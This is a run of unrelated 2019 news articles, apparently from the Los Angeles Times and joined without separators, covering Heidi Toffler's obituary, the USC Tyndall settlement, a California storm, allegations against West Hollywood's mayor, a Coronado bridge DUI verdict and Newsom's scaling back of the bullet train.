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Others missed the mark. The artificial cities in the depths of the oceans and the space colonies that would be established by pioneers of the new frontier never arrived. Nor did their belief materialize that the economy, sturdy and upward bound when the book was being researched, would never again experience a downturn. Instead, recession followed recession.

The success of the book and its siblings, The Third Wave and Powershift, made Heidi Toffler and her husband global ambassadors. She visited the Soviet Union in 1986 at the invitation of Mikhail S. Gorbachev and led discussions at an academic forum in China. They were sought out by House Speaker Newt Gingrich, who was a fan of their work though not their left-leaning politics.

At a time when few women were even allowed in the room, Heidi had a seat at the table with some of the worlds most influential leaders, Westphal said.

Born Adelaide Elizabeth Farrell on Aug. 1, 1929, Toffler grew up in the Bronx in a household that put an emphasis on lifelong learning. She met her future husband at New York University, where the two shared an interest in social and political issues. He was interested in Marxism; she championed womens rights. Together they plunged into the bohemian world of postwar Greenwich Village.

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After getting married, the two moved to Cleveland and went to work in the factories. She worked in an assembly line at an aluminum foundry and he became a welder. The experience sharpened their understanding of industrial mass production and provided a foundation for their work as futurists.

By the mid-1960s theyd begun work on Future Shock. The book sold more than 5 million copies and gave the husband-and-wife team the breathing room to become full-time writers. The Third Wave was published in 1980 and Powershift a decade after that. In 1996, the two joined with consultant Tom Johnson to found their namesake advisory firm with the intent to help governments and businesses become future proof.

And they continued to lecture and write, usually in their two-story library in their L.A. home. In a series of op-ed pieces published in The Times, they dug into topics that are still in the headlines, from terrorism to immigration.

Their daughter, Karen, died in 2000.As federal regulators continue investigating USCs handling of a campus gynecologist accused of sexual abuse, the university is pressing forward with a $215-million class-action settlement with former patients.

An agreement filed in federal court Tuesday outlines the process for determining how much money individual women treated by Dr. George Tyndall will receive and describes new safeguards against sexual misconduct that USC must adopt as part of the deal.

The broad outlines of the settlement were announced in October, but this weeks court filing is the first opportunity for U.S. District Judge Stephen V. Wilson to review the terms worked out by USC and a team of class-action lawyers. Wilson has to approve the agreement before it is offered to students and alumnae.

The settlement has come in for criticism from lawyers for more than 500 women suing the university in state court. They have said the deal is premature and paltry, and allows USC to avoid embarrassing public disclosures about administrators bungling of decades of misconduct complaints against Tyndall.

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One attorney representing former patients said he planned to protest the settlement in court.

Tyndall, who has repeatedly denied wrongdoing, is also a party to the settlement, giving him an opportunity to end a portion of the litigation against him without being questioned under oath by his former patients attorneys.

What USC administrators knew about the physician and when they knew it is the subject of an investigation by the federal Department of Education. The Los Angeles County district attorneys office has also convened a criminal grand jury to hear evidence about Tyndall. In addition, the state court lawyers are demanding the gynecologists personnel file and other records as they gather evidence for their lawsuits.

USC and the federal class-action attorneys, who stand to collect up to $25 million in legal fees, have defended the agreement as a way to ensure compensation for about 17,000 former patients without the long delays, uncertainty and public nature of litigation.

Layn Phillips, a retired federal judge who previously mediated Michigan State Universitys $500-million settlement with victims of Dr. Larry Nassar, led negotiations in the Tyndall class-action suit. He said in a sworn declaration filed Tuesday that it is my considered judgment that plaintiffs would be unlikely to have obtained more money and benefits without going through years of discovery and trial, where they would face substantial risks of a less favorable outcome.

Tyndall was the sole full-time gynecologist at USCs student health center from 1989 until 2016. The Times revealed in May that he was the subject of repeated complaints from students and staff that he improperly photographed students genitals, performed inappropriate pelvic and breast exams, and made suggestive remarks during appointments.

An internal investigation determined his medical care amounted to sexual harassment. University lawyers arranged a secret deal in 2017 that allowed the physician to leave with a payout and a clean record with the state medical board.

Under the terms of the class-action settlement, every former patient who saw Tyndall for a womens health issue will be eligible for a minimum payment of $2,500.

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In addition, former patients who submit written accounts to a special master evaluating claims will receive payments of $7,500 to $20,000, depending on their experience with Tyndall. Women who submit to an interview with the special master will be eligible for an award of up to $250,000.

To calculate each patients award, the special master will work with a team of experts in gynecology, psychology and sexual trauma.

FULL COVERAGE: USC former gynecologist Dr. George Tyndall accused of inappropriate behavior 

Beyond the compensation, the settlement requires USC to agree to a series of administrative changes. The university is to create a position for an independent womens health advocate to ensure complaints about improper sexual or racial conduct are investigated.

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USC must also conduct background checks that delve into prior history of sexual harassment, improve employee training, and bolster staffing so that female students always have the option of seeing a female doctor.

Some patients have already indicated they plan to opt out of the deal to pursue cases in state court. John Manly, who represents scores of former patients, said he planned to ask Wilson to throw out the class-action settlement and allow further investigation.

Were going to ask the court to reject it until there is real discovery, the [Department of Education] finishes and the district attorney finishes. Whats the rush? he said, adding that the class-action deal allows USC to keep their secrets, and that does not do a service to anybody.

The settlement terms permit USC to back out of the agreement if the total number of women participating drops below a certain figure. That figure is confidential and shared only with the judge, according to a copy of the settlement filed in court.

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One of those participating in the class-action settlement is Elisabeth Treadway, a 2001 graduate who alleges Tyndall touched her inappropriately and made insulting remarks during an exam her sophomore year.

In an interview, Treadway said that when she went to him for symptoms that turned out to be herpes, he performed a prolonged and seemingly unnecessary vaginal exam, showed prurient interest in her genital piercing and then told her she should keep her herpes diagnosis a secret or people would know what kind of girl I was  that I was promiscuous and slutty.

Sadly I believed him and still struggle with that not being a core belief about myself, said Treadway, who now lives in Florida.

She said she plans to submit to an interview with the special master.

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Of forgoing a lawsuit that might bring to light information about how USC mishandled decades of complaints against Tyndall, Treadway said, I dont need to know the dirty details to know how that experience changed my life.

matt.hamilton@latimes.com

Twitter: @MattHjournoA Stockton special education teacher has been sentenced to life in prison for sexually abusing minors, including his own children, for nearly 20 years.

Rodney Flucas, 50, was given a life sentence Tuesday for transporting minors with the intent to engage in criminal sexual activity. Flucas also was sentenced to 10 years for transporting his daughter across state lines to engage in incest and 20 years for attempted witness tampering, according to a news release by the U.S. attorneys office.

Flucas abused four of his daughters, a son and two other young women, beginning when they were minors, and faced allegations that he impregnated two of his daughters and one of his daughters friends, court documents show. DNA tests confirmed that he is the father of 10 children born to his victims, including three children born to one of his daughters, the U.S. attorneys office said.

The abuse began in 2000, when Flucas lived with his family in Valdosta, Ga., according to evidence presented at trial. There, he owned or rented at least four houses on the same street where his wife, ex-wife, other partners and several children lived.

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He moved his family to Americus, Ga., in 2014, after the grandmother of four of Flucas children made allegations leading to an investigation by the Georgia Division of Family and Children Services, according to the news release.

In September 2014, Flucas moved his family to Klamath Falls, Ore., where he began sexually abusing a 15-year-old girl who became friends with his daughter, according to court records. The girl moved into Flucas home and became pregnant, as did one of Flucas adult daughters for the third time.

Flucas and his family, including his daughters friend, then moved to Stockton in 2015, where he got a job as a teacher for deaf and hard-of-hearing students.

Prosecutors said he tried to hide the abuse by undermining the credibility of his victims and ordering them to lie to child protection authorities and police.

The familys mantra was: What happens in the family, stays in the family, according to the news release.

The abuse was discovered in 2017, when one of Flucas teenage daughters drove into a lamp post in the hope that her death would lead officials to discover her fathers abuse, records show. The girl was taken to a hospital, where she told authorities about the abuse, the U.S. attorneys office said.

Before the crash, Flucas searched online for the conversion rate of the U.S. dollar to the Mexican peso as well as places to move, including China, Kenya, Ethiopia and Canada, according to evidence presented at his trial.

Prosecutors said the man told two of his victims that he would take them to a place where he believed incest was legal in order to continue the abuse, including New Jersey, Rhode Island and Switzerland.

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alejandra.reyesvelarde@latimes.com

Twitter: @r_valejandraNewly appointed Minister of Housing and Urban Utilties Asem El-Gazzar was sworn-in before President Abdel-Fattah El-Sisi to assume office Wednesday, presidential spokesman Bassam Rady said in a statement.

The Ministry of Housing and Urban Utilities portfolio was previously maintained by Prime Minister Mostafa Madbouly, who served this role since 2014.

Madbouly was appointed prime minister in June 2018.

El-Gazzar has served as deputy minister of housing since January 2018. He graduated from the Faculty of Urban Planning at Cairo University and chaired the General Authority for Urban Planning.

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Undersea gases could superheat the planet

The world's oceans could harbor an unpleasant surprise for global warming, based on new research that shows how naturally occurring carbon gases trapped in reservoirs atop the seafloor escaped to superheat the planet in prehistory.

Scientists say events that began on the ocean bottom thousands of years ago so disrupted the Earth's atmosphere that it melted away the ice age. Those new findings challenge a long-standing paradigm that ocean water alone regulated carbon dioxide in the atmosphere during glacial cycles. Instead, the study shows geologic processes can dramatically upset the carbon cycle and cause global change.

For today's world, the findings could portend an ominous development. The undersea carbon reservoirs released greenhouse gas to the atmosphere as oceans warmed, the study shows, and today the ocean is heating up again due to manmade global warming.

If undersea carbon reservoirs are upset again, they would emit a huge new source of greenhouse gases, exacerbating climate change. Temperature increases in the ocean are on pace to reach that tipping point by the end of the century. For example, a big carbon reservoir beneath the western Pacific near Taiwan is already within a few degrees Celsius of destabilizing.

Moreover, the phenomenon is a threat unaccounted for in climate model projections. Undersea carbon dioxide reservoirs are relatively recent discoveries and their characteristics and history are only beginning to be understood.

Those findings come from a new research paper produced by an international team of Earth scientists led by USC and published in January in the journal Environmental Research Letters.

"We're using the past as a way to anticipate the future," said Lowell Stott, professor of Earth sciences at the USC Dornsife College of Letters, Arts and Sciences and lead author of the study. "We know there are vast reservoirs of carbon gas at the bottom of the oceans. We know when they were disrupted during the Pleistocene it warmed the planet.

"We have to know if these carbon reservoirs could be destabilized again. It's a wild card for which we need to account," Stott said.

At issue are expanses of carbon dioxide and methane accumulating underwater and scattered across the seafloor. They form as volcanic activity releases heat and gases that can congeal into liquid and solid hydrates, which are compounds stuck together in an icy slurry that encapsulates the reservoirs.

These undersea carbon reservoirs largely stay put unless perturbed, but the new study shows the natural reservoirs are vulnerable in a warming ocean and provides proof the Earth's climate has been affected by rapid release of geologic carbon.

The scientists say it occurred in the distant past when the Earth was much warmer, and it's happened more recently -- about 17,000 years ago at the end of the Pleistocene epoch when glaciers advanced and receded, which is the focus on the new study. Warming was evident due to changes in atmospheric greenhouse gas concentrations, based on ice cores, marine and continental records.

But how did that happen? What forced such dramatic change in the first place? Scientists have been searching for that answer for 40 years, with focus on oceans because they're a giant carbon sink and play a central role in carbon dioxide variations.

They soon realized that processes that regulate carbon to the ocean operated too slowly to account for the surge in atmospheric greenhouse gases that led to warming that ended the ice age. So, scientists around the world began examining the role of Earth's hydrothermal systems and their impact on deep-ocean carbon to see how it affected the atmosphere.

The new study by scientists at USC, the Australian National University and Lund University in Sweden, focused on the Eastern Equatorial Pacific (EEP) hundreds of miles off the coast of Ecuador. The EEP is a primary conduit through which the ocean releases carbon to the atmosphere.

The scientists report evidence of deep-sea hydrothermal systems releasing greenhouse gases to the ocean and atmosphere at the end of the last ice age, just as the oceans were beginning to warm. They measured increased deposition of hydrothermal metals in ancient marine sediments. They correlated glaciation intervals with variations in atmospheric carbon dioxide with differences in marine microorganism ages. They found a four-fold increase in zinc in protozoa (foraminifera) shells, a telltale sign of widespread hydrothermal activity.

Taken together, the new data show that there were major releases of naturally occurring carbon from the EEP, which contributed to dramatic change in Earth's temperature as the ice age was ending, the study says.

Elsewhere around the world, more and more deep-ocean carbon reservoirs are being discovered. They mostly occur near hydrothermal vents, of which scores have been identified so far, especially in the Pacific, Atlantic and Indian oceans. They occur where the Earth's crust spreads or collides, creating ideal conditions for the formation of deep-sea carbon dioxide reservoirs. Only about one-third of the ocean's volcanic regions have been surveyed.

One such reservoir of undersea carbon dioxide, seen in the accompanying video, was discovered about 4,000 feet deep off the coast of Taiwan. Similar discoveries of carbon gas reservoirs have been made off the coast of Okinawa, in the Aegean Sea, in the Gulf of California and off the west coast of Canada.

"The grand challenge is we don't have estimates of the size of these or which ones are particularly vulnerable to destabilization," Stott said. "It's something that needs to be determined."

In many cases, the carbon reservoirs are bottled up by their hydrate caps. But those covers are sensitive to temperature changes. As oceans warm, the caps can melt, a development the paper warns would lead to a double wallop for climate change -- a new source of geologic carbon in addition to the manmade greenhouse gases.

Oceans absorb nearly all the excess energy from the Earth's atmosphere, and as a result they have been warming rapidly in recent decades. Over the past quarter-century, Earth's oceans have retained 60 percent more heat each year than scientists previously had thought, other studies have shown. Throughout the marine water column, ocean heat has increased for the last 50 years. The federal government's Climate Science Special Report projected a global increase in average sea surface temperatures of up to 5 degrees Fahrenheit by the end of the century, given current emissions rates. Temperature gains of that magnitude throughout the ocean could eventually destabilize the geologic hydrate reservoirs, Stott said.

"The last time it happened, climate change was so great it caused the end of the ice age. Once that geologic process begins, we can't turn it off," Stott said.

Moreover, other similar events have happened in the distant past, helping shape the Earth's environment over and over again. In earlier research, Stott discovered a large, carbon anomaly that occurred 55 million years ago. It disrupted the ocean's chemistry, causing extensive dissolution of marine carbonates and the extinction of many marine organisms. The ocean changes were accompanied by a rapid rise in global temperatures, an event called the Paleocene-Eocene Thermal Maxima (PETM), a period lasting less than 20,000 years during which so much carbon was released to the atmosphere that Earth's temperatures surged to about 8 degrees Celsius hotter than today.

"Until quite recently, we had no idea these events occurred. The PETM event is a good analog for what can happen when undersea carbon escapes through the water column to the atmosphere. And now we know the PETM event was not a unique event, that this has happened more recently," Stott said.

The study comes with some caveats. Much of the ocean floor is unexplored, so scientists don't know the full extent of the carbon dioxide reservoirs. There is no inventory of greenhouse gases from these geologic sources. And ocean warming is not uniform, making it difficult to predict when and where the undersea carbon reservoirs will be affected. It would take much more study to answer those questions.

Nonetheless, the study makes clear the undersea carbon reservoirs are vulnerable to ocean warming.

"Geologic carbon reservoirs such as these are not explicitly included in current marine carbon budgets" used to model the impacts of climate change, the study says. Yet, "even if only a small percentage of the unsampled hydrothermal systems contain separate gas or liquid carbon dioxide phases, it could change the global marine carbon budget substantially."

Said Stott: "Discoveries of accumulations of liquid, hydrate and gaseous carbon dioxide in the ocean has not been accounted for because we didn't know these reservoirs existed until recently, and we didn't know they affected global change in a significant ways.

"This study shows that we've been missing a critical component of the marine carbon budget. It shows these geologic reservoirs can release large amounts of carbon from the oceans. Our paper makes the case that this process has happened before and it could happen again."

###

The study authors are Lowell Stott of USC, Kathleen M. Harazin of the Australian National University and Nadine B. Quintana Krupinski of Lund University, Sweden. U.S. funding for the study comes from a National Science Foundation Marine Geology and Geophysics Grant (1558990).

This story has been published on: 2019-02-13. To contact the author, please use the contact details within the article.A storm that forecasters say is the strongest this winter descended on Southern California this week after already packing a powerful punch up north.

The moisture-rich storm known as an atmospheric river dampened much of Los Angeles County by Wednesday morning but had yet to unleash the chaos that hit Northern California. Forecasters predicted the Southland would see the brunt of the storm late Wednesday through Thursday afternoon.

Its going to give us the biggest storm weve seen so far this season, said Jimmy Taeger, a meteorologist with the National Weather Service in San Diego.

Before moving south, the storm downed trees and triggered flooding so severe that it submerged cars and closed Great Highway along San Franciscos western edge.

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Heavy rain also prompted warnings in the Sierra Nevada of roofalanches, in which snow that has accumulated on homes suddenly slides down. With several feet of snow that has built up, the collapses can seriously injure or even kill someone, the weather service warned.

As atmospheric rivers pound California, here comes the seasons biggest storm 

This image from a Caltrans traffic camera shows snow at the junction of Interstate 5 and Highway 89 near Mt. Shasta on Wednesday. (Caltrans)

Weather experts said the atmospheric river  swollen with subtropical moisture  will combine with a front that will help wring moisture out of the system, causing heavy rain across much of the Southland and unleashing gusty winds. Those are expected to reach speeds of 25 to 40 mph, with gusts as high as 60 mph.

The wind will likely weaken Thursday, but the rain will linger through the weekend, said Lisa Phillips, a weather service meteorologist in Oxnard.

Well still have some moisture  but were not looking at quite the amount were getting with this current system, she said.

Wind advisories are also in effect in Ventura and Santa Barbara counties until Thursday at 3 p.m., according to the weather service. In the Ventura County mountains, winds will reach speeds of 25 to 40 mph, with gusts of up to 60 mph. Santa Barbara County cities are getting winds of 20 to 30 mph, with gusts up to 50 mph.

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Atmospheric rivers are long, narrow bands of water vapor pushed by gusty winds over the Pacific Ocean that, when strong enough, can account for a disproportionate amount of the annual precipitation  between 30% and 40%  on the West Coast. In 2016, a series of intense atmospheric rivers helped ease Californias epic drought by producing record rain and snow in Northern California.

The Center for Western Weather and Water Extremes, which recently introduced a new system for categorizing atmospheric river storms on a scale from 1 to 5, ranked this one as a Category 4, or extreme, based on its duration and intensity. Category 4 storms are considered hazardous but can be beneficial to the states water supply, according to the center.

All this talk of an #AtmosphericRiver. Here's what it looks like from outer space  Notice the moisture plume take aim at California. #cawx #castorm pic.twitter.com/71J3uCQzJ2  NWS Bay Area (@NWSBayArea) February 13, 2019

The amount of precipitation from this storm will vary depending on the region, forecasters said. San Diego, Orange and Riverside counties are likely to be pounded with up to 3 inches of rain along the coast and up to 10 inches at higher elevations. This could create a dangerous situation for residents in recent burn areas.

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Forecasters predict the Holy fire burn scar will see 2.5 to 6 inches of rain and the area affected by the Cranston fire last year will likely experience 3 to 8 inches of precipitation through Thursday. That has the potential to trigger debris flows and flooding, according to the weather service.

On Wednesday afternoon, authorities issued mandatory evacuation notices for some residents in the Holy fire burn area in Riverside County. A care and reception center is open at Temescal Canyon High School in Lake Elsinore.

People in these zones must go now, said Rob Roseen, a Cal Fire/Riverside County Fire spokesman. These evacuation orders are not issued lightly.

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In San Diego County, a flood warning was in effect for the Santa Margarita River at Ysidora and for the San Diego River in Mission Valley at Fashion Valley Mall.

Forecasters dont expect L.A. County to be hit as hard during this storm, but they are warning of potential flooding and rockslides on canyon roads similar to those seen in recent storms. Heavier rain is expected about 6 a.m., just in time for the morning commute.

Its going to bring a lot of driving delays and dangerous driving conditions, said Kristen Stewart, a meteorologist with the weather service.

Between three-quarters of an inch to an inch is expected to fall along Los Angeles Countys coast and valleys, while the foothills and mountains could see up to 3 inches, forecasters said. The county and the San Gabriel Mountains will be under a flood watch on Thursday because of expected moderate to heavy rain. Gusty winds are expected in the foothills and mountains.

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The areas within and next to the Woolsey fire burn area face an increased risk of flooding and mud and debris flow, even with only small amounts of rain. Authorities said they would be patrolling the burn area through Friday morning.

All residents who live in or near the Woolsey fire burn areas are urged to remain vigilant, the L.A. County Sheriffs Department said in a statement.

The subtropical moisture in this weeks storm will bring warmer air to Southern California  meaning snowfall will be confined to higher elevations, likely above 7,000 feet, which is a change from other recent storms. Two low-pressure systems from the Arctic that slammed the Sierra Nevada last weekend brought snow to elevations as low as 1,000 feet. The high freezing levels combined with the recent heavy snowfall have heightened concerns about runoff and flooding in the Central Valley and the Sierra foothills.

This latest system has already brought its fair share of fresh powder to the Sierra, triggering tire-chain requirements and causing whiteout conditions along Highway 89.

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By Wednesday morning, 10 inches of snow had fallen near Susanville in Lassen County, and 6 inches had fallen on June Mountain in a 24-hour period. So much snow has fallen at Mammoth Mountain  which has recorded 128 inches in February alone  that the ski resort announced it will stay open through July 4.

hannah.fry@latimes.com

Twitter: @HannahnfryThree of West Hollywoods five City Council members on Tuesday called for Mayor John Duran to resign amid allegations that he sexually harassed fellow members of the Gay Mens Chorus of Los Angeles.

In similar statements posted to their individual Facebook pages, Lindsey Horvath, Lauren Meister and John DAmico said that the accusations, reported by The Times last week, have been divisive and that Duran should give up his title as mayor so the city can focus on other issues.

West Hollywood as a city is suffering as a result of the numerous and repeated allegations against Mayor Duran. I believe that Mayor Duran should do whats best for the city  in this case, it would be to step down from the position of mayor, and perhaps, step away from the council position so that he can focus on these issues and the city can focus on moving forward, Meister wrote.

Duran told The Times on Tuesday that he will do no such thing.

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I havent done anything wrong. Im not going to resign, he said. Theyre going to have to wait for the investigation to occur and reasonable minds to go through the accusations and draw conclusions.

In interviews with The Times, three current or former chorus members accused Duran of inappropriate touching and comments.

Jason Tong said he left the chorus after Duran slipped his hand inside the waistband of his underwear in a changing room before a show. Chorus member Brian Phillip Nichoalds also said Duran slipped his hand inside his waistband and made sexually charged comments. Joey Firoben, a former member, said Duran made inappropriate comments to him too.

Duran, the chorus longtime board chairman, said he will be leaving the chorus after 20 years at the end of the current season but added that he had been planning to do so anyway.

In an email Tuesday, Joshua Schare, a West Hollywood spokesman, said Durans participation in the Gay Mens Chorus of Los Angeles is distinct and unrelated to his service as mayor of the city of West Hollywood.

The council members statements calling for Duran to step down came one day after Robert Oliver, vice chairman of the citys Public Safety Commission, resigned in protest after other commissioners declined to condemn Duran.

I have been honored to serve on this commission with you  but I cannot continue to serve on a commission that stays silent on issues of such importance, Oliver said at a meeting Monday night, Wehoville reported.

DAmico, Horvath and Meister could not be reached for additional comment.

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Councilman John Heilman, the only council member who has not publicly addressed the allegations, also could not be reached.

Duran has been on the City Council since 2001 and has served four terms as mayor  a largely ceremonial title that rotates annually among council members.

This is not the first time Duran has been involved in allegations of sexual misconduct.

In 2016, West Hollywood agreed to pay $500,000 to settle a sexual harassment lawsuit against the city and Duran. The suit was brought on behalf of Ian Owens, whom Duran had hired as his deputy after meeting him on Grindr, the smartphone dating app for gay and bisexual men, and having sex with him.

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Owens said Duran solicited him for sex and showed him nude photographs on his phone of men hed slept with. Owens said Duran regularly made objectifying comments about his appearance.

As part of the settlement, neither Duran nor the city admitted wrongdoing.

At that time, DAmico, who like Duran is gay, said he often looked over during public meetings and saw Duran trolling for men on Grindr.

This is not gay-life excuse time, or This is how we do it because were gay,  DAmico said at a council meeting. This is we-live-in-the-21st-century time, and treating people with respect and care, and following not just the letter of the law but the spirit of the law is ... part of who we are as a city.

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In her Facebook statement Tuesday, Horvath wrote that the city cannot focus on the work of the people when we have to address new and numerous allegations of sexual misconduct, including whether our mayor used his title to solicit sexual favors. It is not fair to the people of this city to continue seeing West Hollywood in the same sentence as these allegations.

City Atty. Mike Jenkins said state law does not allow the council of a general-law city to remove one of its members.

Both Meister and DAmico wrote on Facebook that they could not force Duran from office. DAmico, the mayor pro tem, said the council has a limited set of actions it could take, including demoting Duran from the position of mayor, censuring him or removing his travel budget.

I have genuine love for John and know that he would never want to harm our city, the city he has helped to invent, serving for nearly 20 years, DAmico wrote. I hope he will do whats right.

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Duran told The Times that he was suspicious of his colleagues posting of the Facebook statements about the same time. He said that doing so shows that they must have coordinated their efforts and that they could have violated Californias open meeting law, the Ralph M. Brown Act.

If the three of them are talking about this, and it sounds like they are, thats a violation of the Brown Act, and the district attorney should investigate, Duran said. You cant have meetings outside of public view. Do I think that they all got the idea to put up their statements, all three, at the exact same time without talking to each other? No.

Facebook time stamps show that DAmico and Horvath posted their statements at 1:59 p.m. and that Meister posted hers at 2:03 p.m.

Jenkins, the city attorney, said in an email that the statements reflect the individual views of each council member and are not the result of a coordinated effort.

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Duran said he thought DAmico, Horvath and Meister were playing politics, noting that all three are up for reelection in next months at-large race. Heilman, who has not commented, is not up for reelection.

Duran said people are unfairly rushing to punish him in light of accusations that have not been proven true.

I think, unfortunately, one of the problems with the #MeToo movement is that any accusation against somebody is treated as truth without any investigation, he said. I think every accusation of sexual misconduct has to be taken seriously to protect victims. But once the accusation is made, there has to be an investigation to determine what the truth is.

He said he did not know his colleagues were going to post the statements and learned of them only when his phone started ringing nonstop Tuesday afternoon.

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Look, I am a creature of the sexual liberation of the 1970s, Duran said. I have never hidden that about myself. I live out loud. Im very colorful. Im very flamboyant. Im very sexual. I know all these things.

Somebody I am not is somebody who would assault somebody. Thats a crime.

hailey.branson@latimes.com

Twitter: @haileybransonA man who was placed on the FBIs Ten Most Wanted list when he skipped bail following his arrest in connection with a series of sexual assaults in the Los Angeles area was shot and killed by federal agents in North Carolina, authorities said Wednesday.

Greg Alyn Carlson, 47 , was killed in Apex, N.C., at a motel around 6 a.m. Wednesday, said Paul Delacourt, the assistant director in charge of the FBIs Los Angeles field office.

Carlson was wanted in connection with a break-in and sexual assault in West L.A. in 2017, and DNA evidence had linked him to two prior assaults in Los Angeles and Santa Monica in 2003, police have said.

Carlson was arrested by Los Angeles police in 2017. He fled California after posting bond.

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He was subsequently placed on the FBIs Ten Most Wanted list, and last escaped police in Alabama after an erratic, high-speed pursuit that was abandoned because of the risk to other motorists and pedestrians.

Delacourt could not immediately comment on the exact location or time of the shooting.A jury found a Navy petty officer guilty of vehicular manslaughter while intoxicated in a 2016 crash off the San Diego-Coronado Bridge that killed four people and injured seven others in an adjacent park.

The San Diego Superior Court jury did not find gross negligence in the Oct. 15, 2016, crash in which Richard Sepolios truck plunged from the bridge into Chicano Park, where thousands were gathered for a festival.

The panel of six men and six women also found Sepolio, 27, guilty of driving under the influence, causing injury to multiple victims.

Jurors cleared Sepolio of reckless driving charges and also found that his level of intoxication was not higher than the legal limit for driving in California, which is a blood-alcohol content of at least .08%.

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This was a great outcome on this case, San Diego County Deputy Dist. Atty. Cally Bright told reporters out of court.

According to the prosecutor, Sepolio had been drinking earlier in the day and was on his cellphone, arguing with his girlfriend, while speeding onto the bridge and trying to pass another car on his left.

He lost control of his pickup, plunged off the bridge and into a crowd enjoying La Raza motorcycle rally.

Those killed were Cruz Contreras, 52, and his wife, Annamarie Contreras, 50, of Chandler, Ariz., as well as Andre Banks, 49, and his wife, Francine Jimenez, 46, of Hacienda Heights.

Mourners gather in San Diego to remember four killed when truck plunged off bridge 

Sepolio was charged with 13 felony counts including driving under the influence and reckless driving. Some counts involved alcohol or negligence while others did not, leaving the jury with a variety of options for conviction.

Jurors found that Sepolio had driven at an unsafe speed  a black box recorder registered his pickup to 81 mph going onto the bridge  but also that he had not made an unsafe turning movement in trying to pass another car.

Jurors completed their deliberations on Monday, but Judge Charles Rogers decided to hold off on reading the verdicts until Wednesday  after a Tuesday court holiday  to give family and friends of Sepolio and of the victims time to travel to San Diego, in some cases from out of state.

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Sepolio is expected to be sentenced April 2. The possible sentences range from probation to as much as 18 years in prison.

Bright said if Sepolio received an 18-year prison term, he would have to serve 85% of that, or 15 years.

Nothing will bring back the family members lost that day, she added.

Timothy Contreras, nephew of Cruz and Annamarie Contreras, said the family was feeling pretty good about the verdicts.

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But, he added, this whole thing has been tough  on [Sepolios] family, too. My aunt and uncle were wonderful people. They fostered a lot of children. Theyre going to be greatly missed.

Defense attorney Paul Pfingst also noted that the case was a tragic one for all involved.

Were gratified that the most serious charges were found not guilty, Pfingst said. But it is disappointing, despite the fact that he was driving under the legal limit, he was found guilty of driving under the influence.

After reading the verdicts  a process that took nearly 30 minutes  the judge ordered Sepolios bail revoked and had him taken into custody. A sheriffs deputy handcuffed Sepolio and escorted him out of the courtroom to a holding cell.

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Pfingst said Sepolio asked him to tell his family to stay strong.

Sepolios parents, from Texas, sat in on the nearly monthlong trial, along with his wife and their baby. They did not talk to reporters after the court proceeding.

Dozens of relatives and friends of those who died and those who were injured in the park also attended the trial and listened quietly to the verdicts.

Because of an outburst by an audience member during the trial, the judge spent several minutes cautioning those in attendance against any disturbances while he read the verdicts. He had 11 deputies posted inside the courtroom and several more just outside.

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The trial got underway with testimony on Jan. 14 and continued over the next three weeks.

Prosecution and defense lawyers presented varying blood-alcohol test results on Sepolio and interpretations of what caused him to swerve out of control on the bridge arching over Chicano Park in Logan Heights.

Sepolio testified that he had had two alcoholic drinks  cider and a glass of wine  at lunch with a colleague from Naval Air Station North Island in Coronado. The lunch lasted from about noon to 2:30 p.m. They took an Uber ride back to her South Park apartment and hung out for an hour before he headed home, he said.

Pfingst said Sepolio was not under the influence by the time he was driving. He said four blood and breath tests, taken later that evening, showed no higher than .05% to .06% blood-alcohol levels.

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Bright said one of the test results actually showed a .07% to .08% blood-alcohol level. Even with a lower level, she argued, Sepolio was still considered impaired for driving.

As Sepolio headed toward Coronado, he talked on his cellphone with his girlfriend. He testified that he hung up seconds before starting onto the bridge from northbound Interstate 5. He tried to merge into the left lane, but a car to his left sped up, and he accelerated, too, trying to pass it.

Then he lost control of the truck, swerved too far left, hit the bridge barrier wall and veered to the right. His truck hit that barrier and became airborne.

The truck plummeted down, clipped a light pole then crushed vendor booths where several people were standing. An estimated 3,000 people were in the park for the motorcycle rally, music and food festival that afternoon.

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Witnesses testified that several men rolled the truck off the victims, then hauled Sepolio out the back pickup window. He was clutching his cellphone and, some witnesses said, smelled of alcohol.

Investigators later found text messages from his girlfriend in which she made numerous apologies for her behavior. The prosecutor said the messages showed the couple had been arguing and Sepolio was in an irritated, impatient and intoxicated state as he drove.

Pauline Repard writes for the San Diego Union-Tribune. Staff writer Teri Figueroa contributed to this report.Gov. Gavin Newsoms announcement that he intends to scale back Californias $77-billion bullet train project stunned many officials close to the project while also raising many questions about what it actually means.

It is shocking, said a senior executive at a major engineering firm in California who has worked on the bullet train project and asked not to be identified. I didnt think he was that bold.

Newsom said Wednesday that while the state has the capacity to complete the first leg in the Central Valley, extending the rail line to Southern California and the Bay Area would cost too much and, respectfully, take too long.

His words left much room for interpretation, and some experts said there remains much uncertainty about the future scope, direction and funding of the mega-project.

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FULL COVERAGE: Californias troubled bullet train 

The governors tone, acknowledging the lack of a feasible plan and a realistic funding strategy, contrasts sharply with Gov. Jerry Brown, who never acknowledged any serious roadblocks to his vision, and accepted the reassurances over the last six years by the rail authority that it was already fixing all of its problems.

The single overt act of replacing high speed rail authority chairman Dan Richard, who had overseen the project for Brown, is also seen as a move toward more accountability in addressing problems facing the $77 billion project, the nations largest infrastructure project.

(Ellis Simani / Los Angeles Times)

But others took a more nuanced view of Newsoms exact words, saying that his plan differs in only a few details from Gov. Jerry Browns final plan. Newsom would still build the Central Valley rail section, continue to finalize all of the environmental documents for the Los Angeles-to-San Francisco system and move ahead with transit funding agreements in the Bay Area and Southern California.

The only concrete near-term item he is dropping is a commitment to electrify commuter train service from Gilroy to San Jose, which the state had wanted to pursue with any surplus funds left from the Central Valley.

It looks like he kicked the can down the road, said Paul Dyson, president of the Rail Passengers Association of California. He hasnt stopped anything that was planned to be done. It will go on maybe until money runs out. It isnt a bold step in one direction or another.

Added Elizabeth Alexis, a cofounder of the Bay Area watchdog group CARRD: The project is no more dead than it was yesterday. The nail was already in the coffin a long time ago.

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Alexis said the vague timetable for completing the Central Valley construction gives Newsom lots of time to maneuver if the nations political landscape changes and new funding comes out of Washington. Notably, Newsom said he would push for additional federal funding and private investments, but did not mention additional state funding in his speech.

 California Gov. Gavin Newsom said he intends to scale back the high-speed rail.

In a statement, High-Speed Rail Authority Chief Executive Brian Kelly said the agency is eager to meet the challenge of a bullet train in the Central Valley. Kelly noted the importance of Newsoms commitment to complete environmental reviews and to meet the commitments to make so called bookend investments.

Newsoms plan takes some of the projects risks off the table, but creates new ones.

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The governor committed to completing the environmental reviews for the entire Anaheim-to-San Francisco route, citing the requirements of a grant agreement by the Federal Railroad Administration.

